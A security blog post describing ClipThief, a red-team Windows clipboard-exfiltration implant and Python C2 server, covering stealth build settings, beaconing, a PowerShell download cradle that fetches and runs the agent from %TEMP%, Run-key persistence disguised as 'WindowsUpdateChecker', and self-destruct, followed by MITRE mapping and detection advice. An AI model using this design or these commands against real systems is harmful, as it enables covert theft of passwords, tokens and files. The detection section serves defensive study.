ClipThief - Building a Windows Clipboard Exfiltration Tool for Red Team Operations
ClipThief - Building a Windows Clipboard Exfiltration Tool for Red Team Operations
1 | ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⡿⣿⣿⣿ |
Introduction
Clipboard data is one of the most overlooked attack surfaces in enterprise environments. On any given workday, an end user will copy and paste credentials from a password manager, a database connection string from internal documentation, a one-time VPN token, or a sensitive spreadsheet path. None of these actions generate alerts. None of them require elevated privileges to intercept.
ClipThiefis a Windows clipboard monitoring tool I developed in 2022 for red team drills and security research. It consists of a silent C++ agent running on the target system and a Python-based C2 server (thanks to Claude ❤️) with a rich terminal interface.
- Operationally clean (no console window, standard user privileges, minimal disk footprint)
- Easy to deploy (single PowerShell one-liner)
- Easy to clean up (self-destruct command, registry cleanup)
- Useful for demonstrating detection gaps to blue teams
Everything in this post applies to authorized environments only.
Threat Model: Why Clipboard?
Before diving into implementation, it is worth establishing why clipboard monitoring is a high-value technique for a red team operator.
What ends up on the clipboard?
During a standard workday in an enterprise environment:
| Clipboard Content | Source | Sensitivity |
|---|---|---|
| Password from password manager | KeePass, 1Password, Bitwarden | Critical |
| One-time VPN/MFA token | Authenticator app | Critical |
| Database connection string | Internal wiki, IDE | High |
| SSH private key passphrase | Terminal | High |
| Internal IP/hostname list | Monitoring dashboard | Medium |
| Copied file (salary data, client list) | Windows Explorer | High |
| Screenshot of restricted document | Snipping Tool | High |
| SQL query against production DB | DBeaver, SSMS | Medium |
None of these actions trigger an alert. No EDR solution fires on Ctrl+C.
Privilege requirements
AddClipboardFormatListener() — the Win32 API used to monitor clipboard changes — requires no special privileges. It works under a standard domain user account. The agent writes its identity to HKCU (no admin required). Persistence is also established entirely within HKCU via a Registry Run key — no schtasks, no UAC prompt, no elevated process required.
Stealth characteristics
The agent is compiled with SubSystem=Windows (WinMain entry point), which means no console window appears at runtime. It is invisible in the taskbar and Alt+Tab. It appears only in Task Manager as bingo.exe — a process name that can trivially be changed per engagement.
Architecture Overview
ClipThief follows a classic implant/C2 architecture:
1 | ┌─────────────────────────────┐ HTTP/JSON ┌──────────────────────────────────┐ |
Key design decisions:
- No separate heartbeat endpoint. The agent polls for commands every 3 seconds; this polling request implicitly updates
last_seenon the C2. Zero extra network traffic. - Auto-compilation. The C2 server compiles
bingo.exeat startup, injecting the operator’s IP and port directly into the source. No manual build step. - Single-file components. The agent is one
.cppfile. The C2 is one.pyfile. Easy to audit, easy to modify per engagement. - WAL-mode SQLite. Multiple threads (Flask daemon + UI thread) access the database concurrently. WAL mode prevents write contention without an ORM.
The Agent: C++ Deep Dive
Build Configuration
| Setting | Value |
|---|---|
| Toolset | MSVC v143 (Visual Studio 2022) |
| Platform | x64 |
| Subsystem | Windows — no console window |
| Character Set | Unicode |
| Entry Point | WinMain |
The subsystem choice is the single most important stealth property. With SubSystem=Windows, the OS does not allocate a console for the process. The agent runs silently in the background.
Dependencies are declared via #pragma comment(lib, ...) directly in the source file, so no project-level linker settings need to be maintained:
1 |
One non-obvious choice: using rpc.h instead of objbase.h for UUID generation. When WIN32_LEAN_AND_MEAN is defined, windows.h strips OLE/COM headers, making CoCreateGuid unavailable. UuidCreate from the RPC library is unaffected by this macro and achieves the same result with no additional dependencies.
Agent Identity & Registry Persistence
Every agent instance needs a stable identity so the C2 can correlate clipboard entries across sessions, even if the agent restarts.
1 | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\ClipAgent |
On first run, UuidCreate() generates a cryptographically random RFC 4122 UUID. It is written to HKCU and read on every subsequent run. HKCU was chosen over HKLM deliberately — standard users have write access to their own hive without privilege escalation.
1 | static std::string LoadOrCreateAgentId() { |
Clipboard Monitoring via Win32 Message Queue
The standard approach to clipboard monitoring on Windows is AddClipboardFormatListener(). This API registers a window handle to receive WM_CLIPBOARDUPDATE messages whenever the clipboard contents change.
The agent creates a message-only window (HWND_MESSAGE parent) — a window that exists purely to receive messages, with no visual representation, no taskbar entry, and no Alt+Tab presence:
1 | g_hwnd = CreateWindowExW( |
The message loop then dispatches WM_CLIPBOARDUPDATE to HandleClipboardUpdate():
1 | LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wp, LPARAM lp) { |
AddClipboardFormatListener is preferred over the older SetClipboardViewer API because it does not require maintaining a clipboard viewer chain — far simpler and less fragile.
Data Formats: Text, File, Image
The handler checks for three clipboard formats in priority order:
1 | WM_CLIPBOARDUPDATE |
Why CF_UNICODETEXT instead of CF_TEXT?CF_TEXT is ANSI and will corrupt non-Latin characters (Turkish, Arabic, CJK). CF_UNICODETEXT provides the full UTF-16 buffer. WideCharToMultiByte(CP_UTF8) converts it losslessly to UTF-8 before Base64 encoding.
DIB to BMP conversion — CF_DIB contains a raw BITMAPINFOHEADER followed by pixel data, without the BITMAPFILEHEADER that makes it a valid .bmp file. The agent reconstructs the header in-memory before encoding:
1 | BITMAPFILEHEADER bfh = {}; |
No GDI+, no libpng, no external dependency — just pointer arithmetic and a well-specified format.
HTTP Communication with WinINet
All agent-to-C2 communication uses WinINet, the built-in Windows HTTP client. No third-party networking library is required.
1 | InternetOpenA() → open HINTERNET session |
The C2 host and port are defined as constants that the C2’s build_agent() function overwrites via regex before compiling:
1 | static const char* C2_HOST = "127.0.0.1"; // overwritten at build time |
Command Polling Thread
A background thread polls the C2 for pending commands every 3 seconds. This same request serves as the heartbeat — no separate keepalive is needed.
1 | static DWORD WINAPI CommandPollThread(LPVOID) { |
The C2 stores pending commands in an in-memory map (pending_cmds). A command is consumed on delivery — the next poll will receive "none" unless a new command has been queued.
Persistence via Registry Run Key
When the operator sends the persist command, the agent writes directly to the HKCU Run registry key — no schtasks.exe, no child process, no UAC prompt:
1 | static void AddPersistence() |
This writes a REG_SZ value named WindowsUpdateChecker under HKCU\Software\Microsoft\Windows\CurrentVersion\Run, pointing to the agent’s current EXE path. Windows executes every value under this key at user logon — no elevation, no task scheduler service dependency.
Why Run key instead of Scheduled Task?
| Approach | Privilege required | Process spawned | Detectable via |
|---|---|---|---|
schtasks /create |
Standard user | schtasks.exe (visible) |
Process creation + Event 4698 |
| Registry Run key | Standard user | None | Registry write only |
The Run key approach is quieter: it leaves no schtasks.exe process event, no Task Scheduler XML on disk, and no Event ID 4698. The only artifact is the registry value itself.
Cleanup — the SelfDestruct() function removes the Run key value automatically alongside the AgentID key. For manual removal:
1 | reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdateChecker" /f |
Self-Destruct
The KILL command triggers a multi-step self-destruct sequence:
1 | 1. RegDeleteKeyA(HKCU, REG_PATH) → remove AgentID from registry |
Known limitation: ShellExecuteA with a .bat file is unreliable on Windows 10/11 — it may silently fail. A more robust approach would use CreateProcess with cmd.exe /C ping ... & del ... and CREATE_NO_WINDOW. This is documented as a known constraint in the project.
The C2 Server: Python Deep Dive
The C2 server is a single Python file (~900 lines) using Flask for the REST API, Rich for the terminal UI, and SQLite for persistence.
4.1 Auto-Compilation: Building the Agent at Runtime
One of the more operationally convenient features: the C2 compiles bingo.exe at startup, injecting the correct C2 IP and port into the source before building. This means the operator never needs to open Visual Studio.
1 | def build_agent(c2_ip: str, c2_port: int) -> Path | None: |
_find_msbuild() first tries vswhere.exe (the official VS installation locator), then falls back to probing known paths for VS 2022/2019 across Community, Professional, Enterprise, and BuildTools editions.
REST API Endpoints
| Method | Endpoint | Description |
|---|---|---|
POST |
/api/agent/register |
Agent check-in with system info |
POST |
/api/agent/<id>/clipboard |
Clipboard data submission |
GET |
/api/agent/<id>/command |
Command polling (also updates last_seen) |
GET |
/agent/bingo.exe |
Serve compiled agent binary |
Register payload:
1 | { |
Clipboard payload:
1 | { |
The type field is one of "text", "image", or "file". For files and images, filename carries the original name or a generated one (clipboard.bmp).
Command response:
1 | {"command": "none"} // or "kill" | "persist" |
Commands are single-delivery: consumed from pending_cmds on the first poll after queuing.
4.3 SQLite Schema
1 | CREATE TABLE agents ( |
The database runs in WAL mode (PRAGMA journal_mode=WAL) so the Flask daemon thread and the main UI thread can read and write concurrently without blocking each other.
4.4 Heartbeat Monitor
A background thread checks agent liveness every 5 seconds:
1 | def _heartbeat_monitor(): |
Timeline after a KILL command is sent:
| Time | Event |
|---|---|
| t=0s | Operator sends KILL, command queued in pending_cmds |
| ~t=3s | Agent polls, receives "kill", begins self-destruct |
| ~t=13s | Heartbeat monitor detects polling has stopped |
| ~t=15s | Terminal shows [!] AGENT DEAD notification |
Logging System
Each C2 session creates a new timestamped log file under C2/logs/. Previous session logs are preserved.
1 | 2026-04-22 14:30:00 INFO SERVER START listen=0.0.0.0:5000 agent_ip=192.168.1.100 |
The log serves as the primary post-engagement audit trail. The logs/ directory should be manually cleared after each authorized exercise.
Full Attack Flow: A Red Team Scenario
Scope: Internal red team exercise, isolated lab network, written authorization in place.
Step 1 — Operator starts the C2
1 | cd C2 |
Output:
1 | [*] Database: C:\...\C2\c2_data.db (0 agents loaded) |
Step 2 — Deploy to target
The operator delivers the PowerShell one-liner via an existing foothold (phishing simulation, initial access broker, lateral movement):
1 | $p="$env:TEMP\bingo.exe" |
bingo.exe downloads silently, writes its UUID to HKCU, and registers with the C2.
Step 3 — Operator receives notification
1 | ╭────────────────────────────────────────────────────────╮ |
Step 4 — Target user performs normal work
The user opens their password manager, copies a credential. Copies a SQL query from DBeaver. Screenshots a restricted internal dashboard and pastes it into a document. Each action silently flows into the C2:
1 | [TXT] SELECT * FROM payroll WHERE department='engineering' |
Step 5 — Operator establishes persistence
Sending PERSIST writes WindowsUpdateChecker to HKCU\...\Run. The agent will restart automatically on every user logon — no scheduled task, no elevated process, no Event ID 4698.
Step 6 — Cleanup
At exercise end:
1 | Agent side: |
6. Detection & Defense
MITRE ATT&CK Mapping
| Stage | Technique | TTP ID |
|---|---|---|
| Delivery | PowerShell download cradle | T1059.001, T1105 |
| Execution | Binary from TEMP | T1204.002 |
| Collection | Clipboard monitoring | T1115 |
| Persistence | Registry Run key (WindowsUpdateChecker) | T1547.001 |
| C2 | HTTP long-poll beaconing | T1071.001 |
| Registry | HKCU identity marker | T1112 |
| Defense Evasion | No console window, standard user | T1564.003 |
| Cleanup | Self-destruct batch file | T1070.004 |
Hardening Recommendations
- Endpoint DLP: Monitor
CF_UNICODETEXTaccess by processes outside the approved whitelist (browser, Office, etc.). Windows Defender Application Guard can isolate clipboard access per application. - Process integrity: Alert on executables running from
%TEMP%that initiate outbound HTTP connections. - Scheduled task auditing: Windows Event ID 4698 (Task Created) with names matching
*Update*Checker*or*Windows*Update*. - Registry monitoring: Watch for writes to
HKCU\Software\Microsoft\Windows\CurrentVersion\*from processes running in%TEMP%. - Network behavior: A process making HTTP requests every 3 seconds to a non-standard port is a reliable beacon signature even without process name matching.
8. Conclusion
Clipboard data exfiltration is a technique with a low barrier to entry and a high detection gap in most enterprise environments. It requires no privilege escalation, no kernel driver, no AV bypass — just a message-only window and three Win32 API calls.
ClipThief was built to make this concrete for defenders: a working implementation that a red team can deploy in an authorized exercise and that a blue team can use to validate their detection stack.
The full source is available at github.com/erberkan/ClipThief.
Disclaimer: This tool is intended exclusively for authorized penetration testing, red team exercises, and security research. Unauthorized use against systems you do not own or have explicit written permission to test is illegal and unethical.
Berkan Er (@erberkan) — B3R-SEC